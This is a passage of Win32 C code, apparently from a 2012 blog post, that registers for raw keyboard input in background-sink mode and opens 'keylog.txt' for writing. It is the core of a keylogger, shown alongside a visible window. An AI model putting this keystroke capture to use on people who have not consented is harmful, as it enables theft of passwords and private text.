780.           TextOut(hdc, 10, 10, szInfo, strlen(szInfo));
781.           TextOut(hdc, 10, 30, szTips, strlen(szTips));
782.           EndPaint(hWnd, &ps);
783.       return 0;
785.    case WM_DESTROY:
786.       PostQuitMessage(0);
787.           CloseHandle(hFile);
788.       return 0;
790.    default:
791.       return DefWindowProc(hWnd, message, wParam, lParam);
792.    }
793. }
795. HANDLE InitLogFile(void)
796. {
797.         HANDLE hFile = CreateFile("keylog.txt", GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
798.         return hFile;
799. }
801. PVOID GetApiAdd(LPCSTR dllname, LPCSTR procname)
802. {
803.         HMODULE hDll = LoadLibraryA(dllname);
804.         if(NULL == hDll)
805.                 return NULL;
806.         PVOID pProc = GetProcAddress(hDll, procname);
807.         FreeLibrary(hDll);
808.         return pProc;
809. }
811. BOOL RegisitKeyBord(HWND hwnd)
812. {
813.         if(NULL == hwnd)
814.                 return false;
816.         PRegisterRawInputDevices RegisterRawInputDevices = (PRegisterRawInputDevices)GetApiAdd("User32.dll", "RegisterRawInputDevices");
817.         if(NULL == RegisterRawInputDevices)
818.                 return false;
819.        
820.         RAWINPUTDEVICE rid;
821.         rid.usUsagePage = 0x01;
822.         rid.usUsage = 0x06;
823.         rid.dwFlags = RIDEV_INPUTSINK;
824.         rid.hwndTarget = hwnd;
826.         return RegisterRawInputDevices(&rid, 1, sizeof(RAWINPUTDEVICE));
827. }

复制代码

作者：yincheng01 发表于2012-1-7 0:33:44 原文链接